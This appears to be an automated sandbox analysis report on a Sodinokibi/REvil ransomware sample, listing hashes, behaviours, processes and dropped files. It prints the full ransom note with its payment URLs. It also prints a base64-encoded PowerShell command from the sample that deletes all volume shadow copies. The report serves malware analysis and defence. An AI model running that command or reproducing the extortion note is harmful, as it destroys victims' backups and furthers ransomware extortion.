Analysis

  • max time kernel
    134s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    12-06-2024 10:31

General

  • Target

    a055246b0e804eb3a1dda52937f556ef_JaffaCakes118.exe

  • Size

    166KB

  • MD5

    a055246b0e804eb3a1dda52937f556ef

  • SHA1

    6807425e1252f1154664fc8072dde03558ed35fe

  • SHA256

    a29f63484f53d2cf832b2bc70d6b66378b87b86221f885d0f43166503d631ef3

  • SHA512

    18b2308905d95dff7a2a3e2cd3559325d6e3cfdeb45c48e3fd6df0fdbaee27ea3e191cc344505ad2e32f4136de6c8d2b2bbbac121486002707f1a617e2a49a95

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3Q/5iK9kPV/0:ZJ0BXScFy2RsQJ8zg/o9

Malware Config

Extracted

Path

C:\Users\8m50n8o412-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 8m50n8o412. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F9BAD188ABA94200 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F9BAD188ABA94200 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: lh2mtYU15b66Ld01YUClaNgNouQikUEQK0zlDH5fP10u/0/BPwhnfDWjBt5eoj6A WWbybSrio/VHVzZAaR6LCwrzL7vN6jxZPlJ/igzZGPR53i+kHSUcijJDV9PMYy2W CG0dp+vdpr+cJywWXxPwTeiaM4WXwSZh5bxpJysdFHOLg3EMw3HexmI5ck1sEtie 1bn9Yv8uELglaP3UL1QiP3F2J4XJu5pz1jjT89ipUuXfzYF7K1J3KzGA72IyPTe3 LcTSXJlIUMi6tgqohUtOidL30fyWdhZQXDmvThFKHVl9+0ul2r0E930Lj5QyYwBg s9pcyzvGMNzokc9L8qfQaPELo08K+PkOPB9gv9uwOw+nSnyZxFTuDarJ9D7ouzzg FoHXroCCAZULIX9r1yKiRKaOaukRn+LsH+vKspuDmkRzdlo/+DtYn+kSeDynI3sx ayVAK0tryUuxRVIsHh/bwRJzLx3rGGD5WZqjoExmZSiWq88W5NV6vNpwS2qW47TZ LfM7uOku15uFscnVrdPK+88YzUqh90/6HekO/rVgcH4Jn1zh3KwymAJVg5W+9x3Y DyoLLQZUMuiTD58sf6tV9CyuPo/JJJMcccOl2UOxBDRfsp9fCe4hT4/OUPH6aCat HWMv0N9BDK5gaWxmzNhzsIGCe+ZijJa+T2sMjYljzBijKc8Dc45ItNC71s35/5DV 0ClA4ZVYGTWmIQHeZH0xnCueTYalBJS2MnTzPRMMi/M5ODV7yrIcSifmSRAX7c1X vo1iMzSpJLyl0aUYXcQ0nIstvODnGl2VvfDi9LOTd0rFOCGVOT+v6jFZaTvijmMV pTIOwctuYuVu2ndtr8/fDyrHYqlCU/sUsFpTmtWt3eRr9UskuRP52wbokc6OHcH6 J1lIuHbVTT8/RqQYdLchnCFI8tgbs3UMJGvp5SE++a/tfMHiAgu/KbGqEjsZmlUw MHBeufQwrHZIjzBv7wS/UkeksaBMfCh5MTArJB7K82UEqBFYXcniSHR8fbexjy8O rEpzSOJQDUonn6/V079UdiS4iutjgubocm+p73iiSaKKhZD5+GEERdL/w1k32GDi qC+TE2qkCRADcKR1+TroYOYwJ/EerEMPhxUN29vuUYIBL4kfET7+C8ZXmpgyWo1T UIvcuMgWN8dh8Z2Mhms99hCty7q4LwUjTPEJ2FNDe6+/O9JkkSQkfrx5wzwXKhwH 9PZT2x15aNTshoAACaxkin8vvT+K5+n9QD3TJnqbamjSsKYCZj3GDJjKiaEpPaGo ORICVuy9UA0UocwBYgywOtME3ZWcl4GNmScBmcBHEjMQfdIkapyAzqi/LuTA8SKt GcbJsXzOZYYQGqMf0DRbMQebmDi9+ALnCTATYkWl9QYT/STUU0bmUg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F9BAD188ABA94200

http://decryptor.cc/F9BAD188ABA94200

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 28 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a055246b0e804eb3a1dda52937f556ef_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a055246b0e804eb3a1dda52937f556ef_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2688
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2492

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\8m50n8o412-readme.txt

      Filesize

      6KB

      MD5

      b1135b0fc8042a3513ceb4148a2a6151

      SHA1

      72779927203bc98568f7f492df6e1d3ad45f3da9

      SHA256

      1274aa5f76a20ebde268c357ce2e34cf44cbd2ab85615c6be29e98a3338d447d

      SHA512

      5ec257f8cff28f9c0bdd70ed25942de391b57e2ac53be808d99aa28704a4b0655fc91a80998ea0926287a03b324bb4ddd579a69d698ee2ddf991bf5f16b7c716

    • C:\Users\Admin\AppData\Local\Temp\CabCFDF.tmp

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\TarD020.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      192KB

      MD5

      44efb9f1e461040d88ddbeefc649076f

      SHA1

      e3a8e2a493db226b99b55cbe3b2351b12a1c94f1

      SHA256

      94096c40ca180464e84d074669a18b2e962921d7574b785b55f2dedf24c0de20

      SHA512

      4f2d01585831561bac0dea437126dbcbc0bebed4f0b28aab5a4497720da097ffa9c1dcd2a3d8d60f0afb76967b3c1d7027f26540d21f6f2b9e60c985db453a23

    • memory/2716-8-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

      Filesize

      32KB

    • memory/2716-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

      Filesize

      9.6MB

    • memory/2716-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

      Filesize

      9.6MB

    • memory/2716-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

      Filesize

      9.6MB

    • memory/2716-12-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

      Filesize

      9.6MB

    • memory/2716-7-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

      Filesize

      9.6MB

    • memory/2716-4-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

      Filesize

      4KB

    • memory/2716-6-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

      Filesize

      9.6MB

    • memory/2716-5-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

      Filesize

      2.9MB